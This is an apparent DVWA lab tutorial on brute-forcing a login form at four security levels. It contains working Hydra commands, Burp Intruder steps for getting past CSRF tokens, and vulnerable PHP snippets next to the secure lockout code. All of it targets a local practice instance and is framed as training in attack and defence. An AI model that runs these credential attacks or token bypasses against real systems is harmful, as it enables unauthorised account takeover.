🧪 DVWA Lab Series — #2 of 30
Topic: Brute Force — All 4 Security Levels
Next: Command Injection Lab →
Topic: Brute Force — All 4 Security Levels
Next: Command Injection Lab →
⚠️ Lab Environment Only: All brute force techniques in this guide are practised exclusively against your local DVWA instance running on 127.0.0.1. Never run credential brute force attacks against any system you do not own or have explicit written authorisation to test. Unauthorised credential attacks are illegal in all jurisdictions.
A login form with no lockout, no rate limiting, and no CAPTCHA is not a login form — it is an open invitation. DVWA’s brute force module teaches you exactly what an unprotected login looks like from an attacker’s perspective, and then shows you the progression through Medium and High security levels until you reach the only approach that actually works: Impossible. This is the dvwa brute force lab that teaches you both how to attack and exactly what correct defence looks like — across all four levels in one session.
🎯 What You’ll Master in Lab 2
Run a Hydra credential attack against DVWA at Low security and find the password
Understand what sleep() rate limiting adds at Medium — and why it fails
Extract and reuse CSRF tokens using Burp Suite Intruder at High security
Analyse the Impossible-level source code to understand correct account lockout implementation
Compare vulnerable vs secure PHP code side by side across all four levels
⏱️ 25 min read · 3 hands-on exercises
📋 What This Lab Covers
If you are starting here, complete Lab 1 (DVWA Setup) first to get your lab running. This lab assumes DVWA is accessible at http://127.0.0.1 and logged in as admin. The Brute Force module is at: http://127.0.0.1/dvwa/vulnerabilities/brute/
Understanding DVWA Brute Force — The Login Form Target
The DVWA Brute Force module simulates a basic username/password login form. At each security level, the developer has added different protective measures — and your job is to understand what each measure does, why it fails, and what the correct implementation looks like.
securityelites.com
Vulnerability: Brute Force
Security Level: Low
Login:
GET request format: ?username=admin&password=password&Login=Login
No CSRF token · No rate limit · No lockout — all vulnerabilities present at Low security
No CSRF token · No rate limit · No lockout — all vulnerabilities present at Low security
📸 DVWA Brute Force module at Low security — a GET-based login form with no protection whatsoever. The URL parameters are visible in the browser bar, making Hydra http-get-form the ideal attack tool.
Notice the form uses a GET request — meaning the username and password are passed directly in the URL query string. This makes it even simpler to automate with Hydra’s http-get-form module. The failure string (“Username and/or password incorrect”) is what Hydra uses to distinguish a failed attempt from a successful login.
Low Security — Hydra Direct Attack
At Low security, DVWA’s brute force module has zero protection. No rate limiting, no lockout, no CAPTCHA, no CSRF token. A basic Hydra attack finds the password in seconds. This is the baseline — understanding what completely unprotected authentication looks like before studying the defensive layers.
🛠️ EXERCISE 1 — BROWSER + BURP (SETUP)
Get your PHPSESSID and confirm the Low security form structure
⏱️ Time: 5 minutes · Target: http://127.0.0.1/dvwa/vulnerabilities/brute/
Step 1: Log into DVWA (admin/password)
Step 2: Set Security Level to Low (DVWA Security menu)
Step 3: Navigate to Vulnerabilities → Brute Force
Step 4: Open DevTools (F12) → Application → Cookies
Step 5: Copy the PHPSESSID value (looks like: abc123def456…)
Step 6: In Burp Suite, enable intercept and submit the login form
Step 7: Observe the GET request:
GET /dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login
Step 8: Note the failure response: “Username and/or password incorrect.”
Step 9: Disable intercept — you have the parameters Hydra needs
Step 2: Set Security Level to Low (DVWA Security menu)
Step 3: Navigate to Vulnerabilities → Brute Force
Step 4: Open DevTools (F12) → Application → Cookies
Step 5: Copy the PHPSESSID value (looks like: abc123def456…)
Step 6: In Burp Suite, enable intercept and submit the login form
Step 7: Observe the GET request:
GET /dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login
Step 8: Note the failure response: “Username and/or password incorrect.”
Step 9: Disable intercept — you have the parameters Hydra needs
✅ What you just learned: Before running any automated attack, you need to understand exactly what the request looks like — the URL path, parameter names, the failure string, and the authentication cookie. These four pieces of information are all Hydra needs to automate the attack.
📸 Screenshot your captured Burp request showing the GET parameters and share in #dvwa-brute-force on Discord.
⚡ EXERCISE 2 — KALI TERMINAL (HYDRA ATTACK)
Run Hydra against DVWA Brute Force at Low, Medium and High security
⏱️ Time: 20 minutes · Target: DVWA 127.0.0.1 (YOUR LAB ONLY)
Work through all three security levels systematically. Replace PHPSESSID with your actual session cookie value before running.
LOW SECURITY — HYDRA BASIC ATTACK
# Create a small test wordlist first (faster than rockyou for the lab)
echo -e “wrongpass\n123456\nadmin\npassword\nletmein\nqwerty” > /tmp/dvwa-words.txt
# Run Hydra against Low security (replace PHPSESSID value)
hydra -l admin \
-P /tmp/dvwa-words.txt \
127.0.0.1 \
http-get-form \
“/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=YOUR_PHPSESSID; security=low”
# Expected output:
# [80][http-get-form] host: 127.0.0.1 login: admin password: password
# 1 valid password found
MEDIUM SECURITY — OBSERVE RATE LIMITING
# Switch DVWA to Medium security first, then run:
hydra -l admin \
-P /tmp/dvwa-words.txt \
-t 1 \
127.0.0.1 \
http-get-form \
“/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=YOUR_PHPSESSID; security=medium”
# Notice: the attack succeeds but takes longer — sleep(2) delays each attempt
# -t 1 reduces threads to 1 to match the server’s single-thread rate limit
# The Medium security defence: adding sleep() is not rate limiting — it is inconvenience
# Real rate limiting checks attempts per IP per time window and enforces lockout
HIGH SECURITY — CSRF TOKEN BYPASS (BURP INTRUDER)
# High security adds a per-request user_token (CSRF token)
# Hydra cannot handle dynamic tokens — use Burp Suite Intruder instead
# BURP INTRUDER METHOD (Pitchfork + Recursive Grep):
1. Capture a login attempt in Burp (with security=high)
2. Send to Intruder → Attack Type: Pitchfork
3. Mark §password§ and §user_token§ as payload positions
4. Payload Set 1 (password): Simple list with your wordlist
5. Payload Set 2 (user_token): Select “Recursive Grep”
6. Options → Grep-Extract → Add → Fetch response
7. Highlight the user_token value in the response → OK
8. Set “Threads” to 1 (required for recursive grep)
9. Start attack — watch response length for the successful attempt
# Alternatively use Burp Macros (Pro only) for cleaner token extraction
# Project Options → Sessions → Add Macro → record token fetch sequence
✅ What you just learned: Each security level adds a defensive layer — sleep delay (Medium) and CSRF tokens (High). The sleep delay is trivially bypassed by slowing down the attack. The CSRF token requires a more sophisticated approach — Burp Intruder’s recursive grep extracts each token from the previous response and reuses it in the next request. Even this can be automated given enough time.
📸 Screenshot your successful Hydra output for Low, and Burp Intruder results for High. Share in #dvwa-brute-force on Discord. Tag #dvwalab2
🧠 QUICK CHECK — Section 3 & 4
Why does adding sleep(2) in PHP NOT effectively prevent brute force attacks?
Impossible Security — What Correct Defence Looks Like
The Impossible security level in DVWA is not a challenge to bypass — it is the answer. Studying it teaches you exactly what secure authentication code looks like, giving you a reference for both writing secure code and identifying when production code falls short of this standard.
securityelites.com
DVWA Brute Force — Security Level Comparison
🔴 LOW — No Protection
$user = $_GET[‘username’];
$pass = md5($_GET[‘password’]);
$query = “SELECT * FROM users WHERE user=’$user’ AND password=’$pass’;”;
⚠️ SQL injection possible + no rate limiting + no lockout
🟡 MEDIUM — sleep() Only
$user = $db->real_escape_string($_GET[‘username’]);
// … same query structure …
sleep(2); // “rate limiting”
⚠️ Bypass: use -t 1 in Hydra. sleep() is inconvenience, not protection.
🔵 HIGH — CSRF Token Added
// Checks user_token matches session token
checkToken($_REQUEST[‘user_token’], $_SESSION[‘session_token’], ‘index.php’);
⚠️ Bypass: Burp Recursive Grep extracts token from each response.
🟢 IMPOSSIBLE — Correct Implementation
// 1. Check for account lockout FIRST
if($data[‘failed_login’] >= 3) { lockAccount(); }
// 2. PDO prepared statement — no SQL injection possible
$data = $db->prepare(‘SELECT * FROM users WHERE user = (:user) LIMIT 1;’);
$data->bindParam(‘:user’, $user, PDO::PARAM_STR);
// 3. SHA-256 + salt (not MD5)
// 4. Increment failed_login counter on failure
// 5. Lock after 3 failures — requires time-based auto-unlock
✅ Brute force is both impractical (lockout) and detectable (failed_login counter)
📸 Source code comparison across all four DVWA security levels — the progression from raw SQL string concatenation (Low) to PDO prepared statements with lockout (Impossible) illustrates exactly what secure authentication code requires
The four security measures that make Impossible actually effective are: PDO parameterised queries preventing SQL injection, SHA-256 with salt instead of MD5, a failed_login counter per user account, and automatic account lockout after three failed attempts with a time-based unlock. Any two of these alone are insufficient — the combination is what makes the difference.
Source Code Comparison — Studying the Impossible Level
🔥 EXERCISE 3 — KALI TERMINAL (SOURCE CODE ANALYSIS)
Read and compare the brute force source code at every security level
⏱️ Time: 10 minutes · Target: Your DVWA source files (read-only analysis)
The most valuable thing you can do after completing a DVWA lab is read the source code. This exercise reads and compares the four security level implementations side by side from the command line.
READ DVWA SOURCE CODE — BRUTE FORCE MODULE
# For Docker install — read source files from container
docker exec dvwa cat /var/www/html/vulnerabilities/brute/source/low.php
docker exec dvwa cat /var/www/html/vulnerabilities/brute/source/medium.php
docker exec dvwa cat /var/www/html/vulnerabilities/brute/source/high.php
docker exec dvwa cat /var/www/html/vulnerabilities/brute/source/impossible.php
# For manual install — read from web root directly
cat /var/www/html/dvwa/vulnerabilities/brute/source/low.php
cat /var/www/html/dvwa/vulnerabilities/brute/source/impossible.php
# Compare Low vs Impossible — look for these key differences:
# 1. Query type: string concatenation vs PDO bindParam
# 2. Password hashing: md5() vs sha256+salt
# 3. Lockout: absent vs failed_login counter with threshold
# 4. Token: absent vs per-user token validation
# In the browser, the “View Source” button shows the same content
# Click it on the Brute Force page at each security level to compare
✅ What you just learned: Reading the source code at each level teaches secure coding patterns that you will recognise in real application code reviews and bug bounty submissions. When you see md5() used for password hashing in a production app, or a login form with no lockout counter in the database schema, you now know exactly what those patterns mean and how to demonstrate their impact.
📸 Screenshot the Impossible-level source code showing the PDO bindParam line and share in #dvwa-source-review on Discord. Tag #securecoding
🧠 QUICK CHECK — Lab 2 Final
What is the single most important defence in the Impossible-level brute force code?
📋 Commands Used — Lab 2 Reference
hydra -l admin -P wordlist.txt 127.0.0.1 http-get-form “…”Hydra credential attack against DVWA (GET form)
hydra … -t 1 …Single-threaded Hydra — bypasses sleep() delay at Medium
docker exec dvwa cat /var/www/html/vulnerabilities/brute/source/low.phpRead DVWA source code from Docker container
echo -e “password\n123456\nadmin” > /tmp/wordlist.txtCreate a small test wordlist for quick lab exercises
Burp: Intruder → Pitchfork → Recursive GrepBypass CSRF tokens at High security level
🏆 Lab 2 Complete — Brute Force Mastered
All 4 security levels completed · Source code reviewed · Attack + defence understood
❓ Frequently Asked Questions – Dvwa Brute Force Lab
What does the DVWA brute force module teach?
It teaches the full lifecycle of credential brute force defence — from completely unprotected (Low) through sleep delay (Medium), CSRF token protection (High), to correct account lockout with PDO prepared statements (Impossible). Completing all four levels builds both offensive testing skills and secure coding knowledge simultaneously.
How do I get my PHPSESSID for the Hydra command?
Log into DVWA, press F12 to open DevTools, go to the Application tab, expand Cookies on the left, click on 127.0.0.1, and copy the PHPSESSID value. This value changes every new browser session — update it in your Hydra command each time you restart DVWA or clear your cookies.
Why does Hydra fail at High security?
At High security, DVWA adds a per-request user_token (CSRF token) that must be extracted from the server’s response and included in the next request. Hydra cannot handle dynamic tokens — it sends the same static request repeatedly. Use Burp Suite Intruder with a Recursive Grep extraction rule to read each token from the response and inject it into the subsequent request.
What makes the Impossible-level implementation actually secure?
Four combined measures: PDO parameterised queries prevent SQL injection, SHA-256 with salt instead of MD5, a failed_login counter per user account in the database, and automatic account lockout after three failures requiring time-based auto-unlock. The lockout is the critical measure — it makes brute force impractical regardless of how sophisticated the attacker’s automation is.
Can I use this technique on real websites?
No — credential brute force attacks against systems you do not own or have explicit written authorisation to test are illegal in virtually all jurisdictions. The techniques in this lab are for use exclusively in controlled lab environments like DVWA, TryHackMe rooms, or HackTheBox machines where you have authorisation. Always operate within authorised scope.
What DVWA lab comes next after brute force?
Lab 3 covers DVWA Command Injection — injecting operating system commands into web form inputs to achieve remote code execution. It follows the same four-level progression and introduces OS command separator characters, filter bypass techniques, and reverse shell setup.
📚 Further Reading
- DVWA Lab 3: Command Injection 2026 — Inject OS commands into DVWA’s vulnerable input field, bypass filters at Medium/High, and establish a reverse shell at High security.
- Password Cracking Explained 2026 — The complete guide to password cracking techniques — hash cracking, wordlists, and GPU acceleration — that complement the brute force techniques in this lab.
- Hydra Cheat Sheet 2026 — 60+ Hydra commands covering every protocol — SSH, FTP, RDP, HTTP forms — with copy-ready examples for all attack scenarios.
- PortSwigger: Password-Based Authentication Vulnerabilities — PortSwigger’s authoritative guide to brute force, password spraying, and credential stuffing — with free interactive labs that extend the DVWA exercises.
- OWASP: Blocking Brute Force Attacks — OWASP’s definitive defensive reference covering account lockout, CAPTCHA, progressive delays, and multi-factor authentication implementation guidance.
Leave a Reply